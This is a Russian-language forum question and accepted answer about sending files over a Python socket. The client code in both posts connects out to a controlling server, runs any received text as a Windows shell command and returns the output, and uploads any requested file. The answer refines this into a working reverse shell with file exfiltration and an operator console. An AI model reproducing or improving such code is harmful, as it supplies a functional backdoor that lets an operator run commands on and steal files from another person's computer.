Как сделать передачу файлов с клиента SOCKET

Рейтинг: 0Ответов: 1Опубликовано: 08.07.2023

Хочу чтобы по команде download [filename] с клиента качался файл в папку сервера, любой файл, фото, видео, музыка, exe, txt, и т.д Но чет не очень получается

Client:

import socket
import subprocess
import os
import time

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


client.connect(("192.168.0.26", 8080))
print('Connected!')

client.send(b"ready")

while True:
    command = client.recv(1024).decode()
    if command.startswith("download"):
        if command.split("download ")[1] != '':
            filename = command.split("download ")[1]
            # Открытие файла для чтения и отправка его содержимого серверу
            with open(filename, 'rb') as file:
                client.sendall(file.read())
                client.sendall("download {}".format(filename).encode())
                break

        else:
            client.send('[~] Введите название файла'.encode())
    else:
        result = subprocess.getoutput(command)
        client.send(result.encode())

Ответы

▲ 1Принят

Вы можете перед тем как отправлять файл отправлять его размер:
Client:

import socket
import subprocess
import os
import time


def send_bites(conn, data):
    size = len(data)
    size_len = (size.bit_length() + 7) // 8
    conn.send(bytes([size_len]))
    conn.send(size.to_bytes(size_len, 'big'))
    conn.sendall(data)


def recvall(conn):
    length_ = int.from_bytes(conn.recv(1), byteorder='big')
    length = int.from_bytes(conn.recv(length_), byteorder='big')
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect(("127.0.0.1", 8080))
print('Connected!')

client.send(b"ready")

while True:
    command = recvall(client).decode('utf-8')
    print(command)
    if command.startswith("download"):
        if command.split("download ")[1] != '':
            filename = command.split("download ")[1]
            # Открытие файла для чтения и отправка его содержимого серверу
            with open(filename, 'rb') as file:
                client.send(b'2')
                send_bites(client, filename.encode('utf-8'))
                send_bites(client, file.read())

        else:
            client.send(b'1')
    else:
        client.send(b'0')
        process = subprocess.Popen(['cmd', '/C', command], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = process.communicate()
        send_bites(client, out.decode('cp866').encode('utf-8'))

Server:

import socket


def send_bites(conn, data):
    size = len(data)
    size_len = (size.bit_length() + 7) // 8
    conn.send(bytes([size_len]))
    conn.send(size.to_bytes(size_len, 'big'))
    conn.sendall(data)


def recvall(conn):
    length_ = int.from_bytes(conn.recv(1), byteorder='big')
    length = int.from_bytes(conn.recv(length_), byteorder='big')
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


HOST = "127.0.0.1"
PORT = 8080

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((HOST, PORT))
server.listen(1)

conn, addr = server.accept()
with conn:
    print(f"Connected by {addr}")
    print(conn.recv(5).decode())
    while True:
        send_bites(conn, input('> ').encode('utf-8'))
        response = conn.recv(1)
        if response == b'2':
            file_name = recvall(conn).decode('utf-8')
            file = recvall(conn)
            with open(file_name, 'wb') as f:
                f.write(file)
            print('downloaded!')
        elif response == b'1':
            print('Type a name of file!')
        elif response == b'0':
            result = recvall(conn).decode('utf-8')
            print(result)